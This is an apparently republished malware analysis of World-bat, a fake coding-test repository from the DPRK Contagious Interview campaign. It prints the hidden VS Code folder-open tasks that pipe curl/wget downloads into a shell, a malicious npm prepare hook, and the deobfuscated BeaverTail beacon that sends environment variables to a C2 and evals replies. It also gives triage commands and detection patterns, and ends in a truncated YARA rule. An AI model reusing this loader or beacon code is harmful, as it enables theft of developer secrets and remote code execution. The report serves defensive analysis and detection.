
安全分析师拆解朝鲜Contagious Interview假面试代码库World-bat
来源标题:In-depth Analysis of DPRK Contagious Interview campaign
安全研究者对朝鲜关联的Contagious Interview行动中一个名为World-bat的伪装成课后编程测试的Git仓库进行了静态拆解。该仓库伪装成Web3扑克项目,内含两条独立感染路径,通过四阶段加载器最终投递BeaverTail信标,每五秒将开发者环境数据回传至C2服务器。
以下正文同步自 Hacker News 最新,版权归原站所有,已转换为易读排版。
A static teardown of World-bat, a fake take-home coding test from the DPRK "Contagious Interview" campaign. Two hidden triggers, a four-stage loader and a BeaverTail beacon that sends your entire environment to its C2 every five seconds.
$ whoami Philipp Mieden·11 November 2026·17 min read
This report analyses World-bat, a Git repository distributed to software developers as a take-home coding assessment. It belongs to the DPRK-linked Contagious Interview campaign and is built to compromise the developer who opens it. The analysis covers how the repository conceals its triggers, every stage of the loader chain, the deobfuscated final payload, and a consolidated set of indicators of compromise for detection and host triage.
World-bat poses as a Web3 "metaverse / multiplayer poker" project, branded GGLab, Virtual Pangea, deAIOS and 0G Rollplay. Repositories like this are sent to developers as a take-home coding test. It carries two independent infection paths:
Both paths end in the same final payload: celt.js, byte-identical to the blob in auth.js apart from \x20 escapes. It is a tiny remote-code-execution beacon:
The operator decides what happens next. Public reporting says the next step is usually the BeaverTail stealer, the InvisibleFerret Python backdoor or OtterCookie. Those go after browser passwords and cookies, crypto wallets, the macOS Keychain and SSH keys.
Some reputation feeds label the C2 IP as Meduza Stealer or MetaStealer. That label does not fit this sample. The repository contains no Windows or macOS executables, and every observed technique matches Contagious Interview.
Cloning the repository is safe. Opening it is not. A plain git clone executes nothing. Opening the folder in VS Code or Cursor and trusting it, or running npm install, npm start or node server, infects the machine.
Assessment: DPRK-nexus Contagious Interview, also tracked as Famous Chollima, DEV#POPPER, UNC5342 and under the "Lazarus" umbrella. The payload family is BeaverTail (JavaScript loader). The likely follow-on stages are InvisibleFerret and/or OtterCookie.
Confidence: high for the campaign cluster; moderate for the exact stage-5 family, because stage 5 was deliberately not retrieved.
Each technique below was observed in this sample and matched to public reporting:
Meduza and MetaStealer are commodity Windows PE stealers written in C++ and .NET. Reputation aggregators file 51.210.65.37 under generic "malware / C2" categories, and shared OVH hosting or feed mixing would explain the label. Nothing in this sample resembles either family.
Three entry points converge on one beacon. The VS Code task downloads a loader chain into ~/.vscode; npm install, npm start and node server skip the downloads and run the same code directly from routes/api/auth.js.
.vscode/tasks.json (sha256 2f387c25…0de3eec) defines two tasks. Both have runOptions.runOn: "folderOpen", presentation.reveal: "silent", echo: false and close: true:
{ "label": "version-update", "type": "shell", "command": "npm install --silent --no-progress", ... "runOn": "folderOpen" }, { "label": "env", "type": "shell", "osx": { /* ~560 spaces / "command": "curl -L 'https://improbable-check1.vercel.app/api/settings/mac' | bash" }, "linux": { / ~560 spaces / "command": "wget -qO- 'https://improbable-check1.vercel.app/api/settings/linux' | sh" }, "windows": { / ~560 spaces */ "command": "curl --ssl-no-revoke -L https://improbable-check1.vercel.app/api/settings/windows | cmd" }, ... "runOn": "folderOpen" }
VS Code runs folder-open tasks only for a trusted workspace (the Workspace Trust prompt), and only when task.allowAutomaticTasks permits it. Victims are talked into clicking "Yes, I trust the authors". The task then re-runs every time the folder is opened, which is the chain's only persistence.
package.json (sha256 c913a6b8…1eb2f0) contains:
"prepare": "start /b node server || nohup node server &"
npm runs prepare automatically after npm install, which starts the trojanised backend detached on both Windows and Unix.
routes/api/auth.js (sha256 2690f337…1235ab): line 18 is module.exports = router;, followed by about 300 spaces and then the obfuscated beacon (sha256 of the blob alone: 209a1aaf…40fea6). It loads through server.js → routes/index.js → require('./api/auth'). In an editor without word wrap, line 18 looks like an ordinary end of file.
Served from /api/settings/{mac,linux,windows}:
The loaders write to ~/.vscode because that directory already exists on most developer machines, so the files blend in with real extension data.
Served from /api/settings/bootstraplinux, sha256 874f6c07e7b381ca6fb561c1d47598042015eb8e51f3ca8e3cc6505bbcad4073.
Served from /api/settings/bootstrap, sha256 36e734f59912bc2d457631ec492611718f17c4a0f2beaf0d815639478fda2664. It differs from the Unix version in five ways:
{"name":"env","dependencies":{"axios":"^1.10.0","request":"^2.88.2"},"scripts":{"start":"node env.npl"}}
celt.js itself never uses axios or request. They are pre-installed for the code the C2 later sends through eval, which is consistent with BeaverTail and InvisibleFerret, both of which use request for uploads. The env.npl start script is a leftover from older variants (env-setup.js / .npl naming).
Code identity: after normalising '\x20' to ' ', celt.js and the blob hidden in routes/api/auth.js are byte-identical. Every path lands on the same beacon.
The obfuscation is obfuscator.io's "string array + rotation" mode, without RC4 or base64 encoding of the array:
The decoder was reimplemented in Python rather than executing the JavaScript. The script parses the array, offset, target and checksum expression straight from the source text, reproduces JavaScript's parseInt prefix semantics with its own integer arithmetic, and rotates until the checksum matches (one rotation here). It then substitutes every _0x42cb(0x…) call with its string. No JavaScript was evaluated at any point.
The recovered string table, after rotation:
0x148 48271040EuJRsw 0x150 459967GnSYxk 0x158 hostname 0x149 841437DAjeqA 0x151 bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc= -> "now it time to get everything" 0x14a find 0x152 values 0x159 IPv4 0x14b 33tbmnjv 0x153 mac 0x15a error 0x14c aHR0cDovLzUxLjIxMC42NS4zNzoxMjI0L2FwaS9jaGVja1N0YXR1cw== -> "http://51.210.65.37:1224/api/checkStatus" 0x14d 6818172DSaCBr 0x154 16QrtcuL 0x15b 4115ebJspJ 0x14e utf8 0x155 release 0x15c 115828vOqIHe 0x14f networkInterfaces 0x156 stringify 0x15d family 0x157 4492JHlWST 0x15e json 0x15f 7973399ewmAba
Entries mixing digits and letters are checksum filler.
const os = require('os'); let sysId = 0;
function getSystemInfo() {
const mac = Object.values(os.networkInterfaces()).flat()
.find(i => i.family === 'IPv4' && !i.internal && i.mac !== '00:00:00:00:00:00')?.mac;
return { hostname: os.hostname(),
macs: [mac],
os: ${os.type()} ${os.release()} (${os.platform()}) };
}
async function sendRequest(info) { try { const qs = new URLSearchParams({ sysInfo: JSON.stringify(info), processInfo: JSON.stringify(process.env), // ALL environment variables tid: 'bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc=', // campaign/tracking id, sent still base64 sysId: sysId // 0 on first contact, then server-assigned }); const url = Buffer.from('aHR0cDovLzUxLjIxMC42NS4zNzoxMjI0L2FwaS9jaGVja1N0YXR1cw==', 'base64').toString('utf8'); // => http://51.210.65.37:1224/api/checkStatus const res = await fetch(url + '?' + qs); // HTTP GET, cleartext, data in query string const { status, message, sysId: newId } = await res.json(); if (status === 'error') { try { eval(message); } catch (_) {} } // REMOTE CODE EXECUTION if (newId) sysId = newId; // victim ID from C2 } catch (e) { console.error(e); } }
try { const s = getSystemInfo(); sendRequest(s); setInterval(() => sendRequest(s), 5000); // beacon every 5 s, forever } catch (e) { console.error(e); process.exit(1); }
What matters in it:
Not retrieved, by design: contacting the C2 would have announced the analysis and fed the operator a fake victim. The next section lists what public reporting says it usually is.
Not observed here, but what the follow-on stages typically do:
If you received a repository like this, what you did with it decides whether you are affected:
The checks below look for every artefact this chain leaves behind. A clean result means none of the observed stages ran; it cannot rule out a stage 5 that cleaned up after itself.
Dropped files (stages 2-4)
ls -la ~/.vscode/vscode-bootstrap.sh ~/.vscode/celt.js ~/.vscode/package.json
~/.vscode/node_modules/axios ~/.vscode/node_modules/request
~/.vscode/node-v24.11.1-darwin-* ~/.vscode/*.txt ~/.vscode/.txt 2>/dev/null
Running beacon or backdoored server
ps -axo pid,ppid,command | grep -Ei 'celt|vscode-bootstrap|node .*server' | grep -v grep
C2 connections (TCP 1224, or the current C2 IP)
lsof -nPi :1224 lsof -nPi | grep -E ':1224|51.210.65.37'
Stage-5 remnants reported publicly
ls -la ~/.n2 ~/.n3 ~/.npl ~/.pyp 2>/dev/null ps -axo pid,ppid,lstart,command | grep -i python | grep -v grep ls -lat ~/Library/LaunchAgents/ ls -d /Applications/AnyDesk* 2>/dev/null
Was the folder ever opened in an editor?
grep -il 'world-bat' ~/Library/Application\ Support/{Code,Cursor,Windsurf}/User/workspaceStorage/*/workspace.json 2>/dev/null
#Linux
shellcopy
ls -la ~/.vscode/vscode-bootstrap.sh ~/.vscode/celt.js ~/.vscode/package.json
~/.vscode/node_modules ~/.vscode/node-v24.11.1-linux-* ~/.vscode/*.txt 2>/dev/null
pgrep -af 'celt|vscode-bootstrap'
ss -tnp | grep -E ':1224|51.210.65.37'
ls -la ~/.n2 ~/.n3 ~/.npl ~/.pyp 2>/dev/null
Stage-5 persistence, if any
ls -la ~/.config/autostart/ ~/.config/systemd/user/ 2>/dev/null crontab -l grep -il 'world-bat' ~/.config/{Code,Cursor}/User/workspaceStorage/*/workspace.json 2>/dev/null
#Windows
powershellcopy
Dropped files (stages 2-4)
Get-ChildItem -Force "$env:USERPROFILE.vscode" | Where-Object Name -match 'vscode-bootstrap|celt|package.json|node_modules|nodejs|.txt$|.msi$' Test-Path "$env:USERPROFILE.vscode\nodejs\PFiles64\nodejs\node.exe"
Running beacon: node.exe with celt.npl or a "server" argument
Get-CimInstance Win32_Process -Filter "Name='node.exe'" | Select-Object ProcessId, ParentProcessId, CommandLine
C2 connections
netstat -ano | findstr ":1224"
Stage-5 persistence reported publicly
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" Get-ScheduledTask | Where-Object { $_.Date -gt (Get-Date).AddDays(-30) } Get-Process AnyDesk -ErrorAction SilentlyContinue
On Windows, the infection shows up as this process tree: Code.exe → cmd.exe /c curl … | cmd → cmd /c vscode-bootstrap.cmd → node.exe celt.npl, or node server started by npm install.
Run these from a terminal against any repository you were sent, before opening it in an editor:
folder-open auto-run tasks
rg -n --hidden '"runOn"\s*:\s*"folderOpen"' -g '.vscode/**'
commands hidden by whitespace padding (>=100 spaces, then code)
rg -n --hidden -g '!node_modules' ' {100,}\S'
pipe-to-shell from tasks
rg -n --hidden -g '.vscode/**' '(curl|wget)[^"]|\s(ba)?sh||\s*cmd'
Vercel loader paths and the 1224 beacon (raw and base64)
rg -n --hidden '/api/settings/(mac|linux|windows|bootstrap|bootstraplinux|env|package)|:1224/api/checkStatus|OjEyMjQvYXBpL2NoZWNrU3RhdHVz|MTIyNC9hcGkvY2hlY2tTdGF0dXM'
npm lifecycle hook that starts a server in the background
rg -n '"prepare"\s*:\s*"[^"]*(nohup|start /b)'
#YARA
yaracopy
rule CI_VSCode_FolderOpen_HiddenTask { meta: description = "Contagious Interview tasks.json: folderOpen task w
正文由 探How 从来源站点 RSS 同步,内容未经改写;遇到排版缺失或需要图片、视频时请以原文为准。